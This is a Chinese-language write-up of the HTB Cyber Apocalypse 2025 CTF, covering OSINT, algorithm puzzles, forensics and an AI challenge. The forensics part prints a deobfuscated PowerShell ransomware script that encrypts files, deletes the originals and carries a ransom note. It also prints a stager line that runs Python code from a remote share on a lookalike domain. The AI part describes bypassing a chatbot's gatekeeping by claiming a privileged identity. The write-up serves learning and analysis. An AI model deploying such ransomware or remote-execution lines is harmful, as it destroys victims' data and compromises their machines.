Cyber Apocalypse CTF 2025 - WriteUp


碎碎念

第一次打这个htb上的赛,真别说就是高级,分类全功能多,唯一的问题就是看不懂英文(bushi),题目量巨大,最后也就做了14题半
总的来说还蛮有意思的

image-20250326211844321

OSINT

Echoes in Stone

知识点省流

谷歌搜图+wiki

WP

将图片丢给谷歌搜索,可以看到他给出了名字,但是提交不对,那我们直接搜一下这个名

image-20250325201309512

然后可以找到它对应的wiki,wiki的名才是flag

image-20250325202418284

The Stone That Whispers

知识点省流

谷歌搜图+wiki

WP

将图片丢给谷歌搜索,然后找到wiki。进去后即可看到flag

image-20250325202640771

The Mechanical Bird's Nest

知识点省流

谷歌搜图+wiki+谷歌地图

WP

将图片丢给谷歌搜图,确定是51区

,

在谷歌搜索area 51,找到他的wiki,发现有一个坐标,点击可以跳转到一个具体的定位页面

image-20250324211116544

在里面选择谷歌地球,会下载一个kml文件

image-20250324211149628

打开谷歌地图,然后导入kml文件,可以直接定位到51区,然后找到图片的位置,标记一个新地标,就能确定经纬度了

image-20250324211250819

The Ancient Citadel

知识点省流

谷歌搜索

WP

丢给谷歌搜索,发现有给出具体的名字

image-20250325210706341

直接搜这个地方在哪,就有详细信息,而且正好对得上flag的要求(难绷)

image-20250325210727280

btw,尝试丢给gpt分析,对了一半只能说

image-20250325210811627

The Hillside Haven

知识点省流

WP

The Shadowed Sigil

知识点省流

谷歌搜索

WP

谷歌搜索139.5.177.205 APT,会找到唯一一个链接,显然答案是APT28

image-20250325210107930

image-20250325210053412

coding

Summoners Incantation

知识点省流

算法小子

WP

让大模型写个脚本就行了

import json

def max_non_adjacent_sum(tokens):
    if not tokens:
        return 0
    if len(tokens) == 1:
        return tokens[0]

    prev, curr = 0, 0

    for token in tokens:
        prev, curr = curr, max(curr, prev + token)

    return curr

tokens = json.loads(input().strip())  # 解析 JSON 格式的输入
print(max_non_adjacent_sum(tokens))

image-20250325212740728

Dragon Fury

知识点省流

回溯算法

WP

大模型梭哈(科技真美妙)

from itertools import product

def find_damage_combination(damage_options, target):
    for combination in product(*damage_options):  # 生成所有可能的组合
        if sum(combination) == target:
            return list(combination)
    return []

if __name__ == "__main__":
    import ast
    damage_options = ast.literal_eval(input().strip())  # 读取并解析输入
    target = int(input().strip())
    
    result = find_damage_combination(damage_options, target)
    print(result)

image-20250325213050391

Enchanted Cipher

知识点省流

WP

老样子大模型梭哈

import ast

def decrypt_shifting_cipher(encrypted_text, num_groups, shift_groups):
    # 提取所有字母及其在字符串中的位置(非字母保持原位)
    letters = []
    positions = []
    for i, ch in enumerate(encrypted_text):
        if ch.isalpha():
            letters.append(ch)
            positions.append(i)
    
    decrypted_letters = []
    group_size = 5
    total_letters = len(letters)
    
    # 对于每个分组进行解密(最后一组可能不足5个字母)
    for group_index in range(num_groups):
        start = group_index * group_size
        end = min((group_index + 1) * group_size, total_letters)
        group = letters[start:end]
        shift = shift_groups[group_index]
        for letter in group:
            # 假设所有字母均为小写:执行反向移位解密
            num = ord(letter) - ord('a')
            new_num = (num - shift) % 26
            decrypted_letter = chr(new_num + ord('a'))
            decrypted_letters.append(decrypted_letter)
    
    # 将解密后的字母按原来字母的位置放回字符串,其它字符保持不变
    decrypted_chars = list(encrypted_text)
    for pos, d_letter in zip(positions, decrypted_letters):
        decrypted_chars[pos] = d_letter
    return "".join(decrypted_chars)

if __name__ == "__main__":
    # 输入:加密文本、移位组数、移位值列表
    encrypted_text = input().strip()
    num_groups = int(input().strip())
    shift_groups = ast.literal_eval(input().strip())
    
    original_text = decrypt_shifting_cipher(encrypted_text, num_groups, shift_groups)
    print(original_text)

image-20250325213654895

Dragon Flight

知识点省流

算法小子

WP

ds梭哈了

import sys

class SegmentTreeNode:
    __slots__ = ['l', 'r', 'left', 'right', 'max_sum', 'prefix_max', 'suffix_max', 'total']
    def __init__(self, l, r):
        self.l = l
        self.r = r
        self.left = None
        self.right = None
        self.max_sum = 0      # Maximum subarray sum in this interval
        self.prefix_max = 0   # Maximum prefix sum in this interval
        self.suffix_max = 0    # Maximum suffix sum in this interval
        self.total = 0         # Total sum of this interval

class SegmentTree:
    def __init__(self, data):
        self.n = len(data)
        self.root = self.build(0, self.n - 1, data)
    
    def build(self, l, r, data):
        node = SegmentTreeNode(l, r)
        if l == r:
            node.max_sum = node.prefix_max = node.suffix_max = node.total = data[l]
            return node
        
        mid = (l + r) // 2
        node.left = self.build(l, mid, data)
        node.right = self.build(mid + 1, r, data)
        
        self.merge(node)
        return node
    
    def merge(self, node):
        left = node.left
        right = node.right
        
        node.total = left.total + right.total
        node.prefix_max = max(left.prefix_max, left.total + right.prefix_max)
        node.suffix_max = max(right.suffix_max, right.total + left.suffix_max)
        node.max_sum = max(left.max_sum, right.max_sum, left.suffix_max + right.prefix_max)
    
    def update_val(self, node, idx, val):
        if node.l == node.r == idx:
            node.max_sum = node.prefix_max = node.suffix_max = node.total = val
            return
        
        if idx <= node.left.r:
            self.update_val(node.left, idx, val)
        else:
            self.update_val(node.right, idx, val)
        
        self.merge(node)
    
    def query_range(self, node, l, r):
        if node.r < l or node.l > r:
            return (-10**18, -10**18, -10**18, -10**18)
        
        if l <= node.l and node.r <= r:
            return (node.max_sum, node.prefix_max, node.suffix_max, node.total)
        
        left_max, left_prefix, left_suffix, left_total = self.query_range(node.left, l, r)
        right_max, right_prefix, right_suffix, right_total = self.query_range(node.right, l, r)
        
        if left_max == -10**18:
            return (right_max, right_prefix, right_suffix, right_total)
        if right_max == -10**18:
            return (left_max, left_prefix, left_suffix, left_total)
        
        total = left_total + right_total
        prefix_max = max(left_prefix, left_total + right_prefix)
        suffix_max = max(right_suffix, right_total + left_suffix)
        max_sum = max(left_max, right_max, left_suffix + right_prefix)
        
        return (max_sum, prefix_max, suffix_max, total)

def main():
    input = sys.stdin.read().split()
    ptr = 0
    
    N, Q = map(int, input[ptr:ptr+2])
    ptr += 2
    
    data = list(map(int, input[ptr:ptr+N]))
    ptr += N
    
    st = SegmentTree(data)
    
    for _ in range(Q):
        parts = input[ptr]
        if parts == 'Q':
            # Query operation
            ptr += 1
            l = int(input[ptr]) - 1  # convert to 0-based
            ptr += 1
            r = int(input[ptr]) - 1
            ptr += 1
            max_sum, _, _, _ = st.query_range(st.root, l, r)
            print(max_sum)
        elif parts == 'U':
            # Update operation
            ptr += 1
            i = int(input[ptr]) - 1  # convert to 0-based
            ptr += 1
            x = int(input[ptr])
            ptr += 1
            st.update_val(st.root, i, x)

if __name__ == "__main__":
    main()

image-20250325233028119

ClockWork Gurdian

知识点省流

算法小子

WP

ds梭哈(需要多问问,不然他好像不理解输入格式)

from collections import deque

def shortestSafePath(grid):
    if not grid or not grid[0]:
        return -1
    
    rows = len(grid)
    cols = len(grid[0])
    
    # 检查起点是否可通行
    if grid[0][0] != 0 and str(grid[0][0]).upper() != '0':
        return -1
    
    # 查找出口位置
    exit_pos = None
    for i in range(rows):
        for j in range(cols):
            cell = str(grid[i][j]).upper()
            if cell == 'E':
                exit_pos = (i, j)
                break
        if exit_pos:
            break
    
    if not exit_pos:
        return -1
    
    # 检查出口是否可通行
    if grid[exit_pos[0]][exit_pos[1]] == 1:
        return -1
    
    # BFS初始化
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    queue = deque([(0, 0, 0)])  # (row, col, distance)
    visited = [[False] * cols for _ in range(rows)]
    visited[0][0] = True
    
    while queue:
        row, col, dist = queue.popleft()
        
        # 检查是否到达出口
        if (row, col) == exit_pos:
            return dist
        
        # 探索四个方向
        for dr, dc in directions:
            nr, nc = row + dr, col + dc
            if 0 <= nr < rows and 0 <= nc < cols and not visited[nr][nc]:
                cell = str(grid[nr][nc]).upper()
                # 检查是否可通行(0或E)
                if cell == '0' or cell == 'E':
                    visited[nr][nc] = True
                    queue.append((nr, nc, dist + 1))
    
    return -1

# 示例测试
if __name__ == "__main__":
    # 直接使用完整网格作为输入
    grid = eval(input().strip())  # 读取单行输入并解析为二维列表
    
    result = shortestSafePath(grid)
    print(result)

image-20250325233846778

Forensics

Thorin’s Amulet

知识点省流

powershell脚本+dns解析+web相关知识

WP

下载附件发现是个ps1文件,压缩包里写了是powershell脚本

image-20250326161451989

查看内容发现里面明显有一串base64字符串

image-20250326161521360

丢给厨子,可以看到这里应该是下载了什么东西

image-20250326161549574

而这个时候直接访问这个链接是不通的,可以将题目信息丢给gpt帮我们看看,他告诉我们需要解析域名(题目里有提到)

image-20250326161642403

在hosts里加上对应的ip和域名后,访问如下链接,会得到一个新的ps1文件

http://83.136.254.73:58639/update

image-20250326161709118

查看内容,可以看到其访问了另一个路由,同时在请求头里带上了一个变量

image-20250326161820163

这时候我们直接访问这个链接会显示无权限,所以我们直接在powershell里执行上面的命令即可

image-20250326161914566

然后会得到另一个ps1文件,打开有一串字符,丢给厨子处理即可得到flag

image-20250326161946105

A new Hire

知识点省流

溯源

WP

有个附件,是一个邮件(但其实用不用都一样),里面的内容告诉我们去index.php查看他的简历

image-20250326164226095

访问靶机,就能看到这个index.php

image-20250326164305357

点进去后,点击查看完整简历,会跳转到本地,可以看到上面有具体的路径

image-20250326164349269

所以我们回到浏览器里访问这个路径即可,在resumes里下载刚刚的那个pdf文件,会直接被查杀

image-20250326164435223

提取出来后查看内容,会发现其中藏了一段base64

image-20250326164519986

老样子厨子解码,然后处理一下得到下面的内容,显然指引我们去看client.py

[System.Diagnostics.Process]::Start('msedge', 'http://storage.microsoftcloudservices.com:38133/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf');\\storage.microsoftcloudservices.com@38133\3fe1690d955e8fd2a0b282501570e1f4\python312\python.exe \\storage.microsoftcloudservices.com@38133\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py

image-20250326164547132

找到对应目录,查看client.py的内容,发现有两串base64字符串

image-20250326164625049

将key的base64值丢给厨子,得到flag

image-20250326164702886

Cave Expedition

知识点省流

windows事件查看+加密脚本逆推解密

WP

下载附件得到一个经过加密的文件和一堆windows的事件记录,根据大小排序,可以看到只有一个文件有内容

image-20250326170559559

打开后,根据时间排序,简单审计一下,发现这里开始有内容,有一大段base64字符串,而且往后的若干个记录都有

image-20250326170642069

全部提出来丢给厨子,会拼凑出完整的脚本,不难看出这个是实现某种自定义加密的脚本

$k34Vm = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
$m78Vo = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="
$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"

$e90Vg = @{}
$f12Vh = @{}

For ($x = 65; $x -le 90; $x++) {
    $e90Vg[([char]$x)] = if($x -eq 90) { [char]65 } else { [char]($x + 1) }
}

function n90Vp {
     [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m78Vo))
}

function l56Vn {
    return (a12Vc $k34Vm).Split(" ")
}

For ($x = 97; $x -le 122; $x++) {
    $e90Vg[([char]$x)] = if($x -eq 122) { [char]97 } else { [char]($x + 1) }
}

function a12Vc {
    param([string]$a34Vd)
    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
}

$c56Ve = a12Vc $a53Va
$d78Vf = a12Vc $b64Vb

For ($x = 48; $x -le 57; $x++) {
    $e90Vg[([char]$x)] = if($x -eq 57) { [char]48 } else { [char]($x + 1) }
}

$e90Vg.GetEnumerator() | ForEach-Object {
    $f12Vh[$_.Value] = $_.Key
}

function l34Vn {
    param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
    $p12Vr = [byte[]]::new($m56Vo.Length)
    for ($x = 0; $x -lt $m56Vo.Length; $x++) {
        $q34Vs = $n78Vp[$x % $n78Vp.Length]
        $r56Vt = $o90Vq[$x % $o90Vq.Length]
        $p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
    }
    return $p12Vr
}

function s78Vu {
    param([byte[]]$t90Vv, [string]$u12Vw, [string]$v34Vx)

    if ($t90Vv -eq $null -or $t90Vv.Length -eq 0) {
        return $null
    }

    $y90Va = [System.Text.Encoding]::UTF8.GetBytes($u12Vw)
    $z12Vb = [System.Text.Encoding]::UTF8.GetBytes($v34Vx)
    $a34Vc = l34Vn $t90Vv $y90Va $z12Vb

    return [Convert]::ToBase64String($a34Vc)
}

function o12Vq {
    param([switch]$p34Vr)

    try {
        if ($p34Vr) {
            foreach ($q56Vs in l56Vn) {
                $d34Vp = "dca01aq2/"
                if (Test-Path $d34Vp) {
                    Get-ChildItem -Path $d34Vp -Recurse -ErrorAction Stop |
                        Where-Object { $_.Extension -match "^\.$q56Vs$" } |
                        ForEach-Object {
                            $r78Vt = $_.FullName
                            if (Test-Path $r78Vt) {
                                $s90Vu = [IO.File]::ReadAllBytes($r78Vt)
                                $t12Vv = s78Vu $s90Vu $c56Ve $d78Vf
                                [IO.File]::WriteAllText("$r78Vt.secured", $t12Vv)
                                Remove-Item $r78Vt -Force
                            }
                        }
                }
            }
        }
    }
    catch {}
}

if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
    o12Vq -p34Vr
    n90Vp
}


image-20250326170747425

将这个脚本丢给gpt,让其生成一个解密脚本即可

# 定义原加密时用到的 Base64 字符串(密钥)
$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"

# 定义一个通用的 Base64 解码函数
function a12Vc {
    param([string]$a34Vd)
    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
}

# 定义 XOR 运算函数,与加密时一致
function l34Vn {
    param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
    $p12Vr = [byte[]]::new($m56Vo.Length)
    for ($x = 0; $x -lt $m56Vo.Length; $x++) {
        $q34Vs = $n78Vp[$x % $n78Vp.Length]
        $r56Vt = $o90Vq[$x % $o90Vq.Length]
        $p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
    }
    return $p12Vr
}

# 解码出密钥1和密钥2
$c56Ve = a12Vc $a53Va
$d78Vf = a12Vc $b64Vb

# 将密钥转换为字节数组
$key1 = [System.Text.Encoding]::UTF8.GetBytes($c56Ve)
$key2 = [System.Text.Encoding]::UTF8.GetBytes($d78Vf)

# 读取加密文件(内容为 Base64 编码的字符串)
$encText = Get-Content -Path "map.pdf.secured" -Raw

# 将 Base64 字符串转换为字节数组
$encBytes = [Convert]::FromBase64String($encText)

# 对加密字节进行 XOR 运算,得到解密后的字节数组
$decBytes = l34Vn $encBytes $key1 $key2

# 将解密后的字节写入新文件 map.pdf
[IO.File]::WriteAllBytes("map.pdf", $decBytes)

Write-Host "解密完成,生成文件 map.pdf"

最后在同一目录下运行该脚本,即可得到原来的pdf文件,救赎之道就在其中

image-20250326170909251

Silent Trap

知识点省流

流量取证

WP

任务如下:
image-20250326210148305

截止比赛结束只做了前三个)

任务1 回复的第一封邮件的主题

打开流量文件发现里面有http协议,那就先从http看起

先看post,根据其传入的内容,可以知道这是一封回复(看subject的值有个Re,就是回复的意思),除此之外找不到别的回复了,那么说明答案就是这个

Game Crash on Level 5

image-20250326210402254

任务2 可疑电子邮件的时间

接着往下分析,可以看到后面有一条流量还预览了一封邮件,跟踪流看看其内容

image-20250326210632158

可以看到发送者附上了一个文件,在后两条流量里确实看到有压缩包文件,而且邮件给出了密码

image-20250326210709190

image-20250326210735083

导出后解压发现被火绒杀了,显然这就是恶意软件,那么可疑电子邮件就是这个,然后尝试分析流量里的时间即可,最后找到了具体时间,再结合流量的生成时间补上年月日即可

image-20250326210839456

任务3 恶意软件的md5值

将解压得到的恶意软件计算md5即可

AI

Cursed GateKeeper

知识点省流

提示注入(很弱智)

WP

根据信息,只有马拉卡的追随者会得到真正的咒语

image-20250325212527745

然后你直接告诉他你是马拉卡的追随者就行了

image-20250325212603048

qwq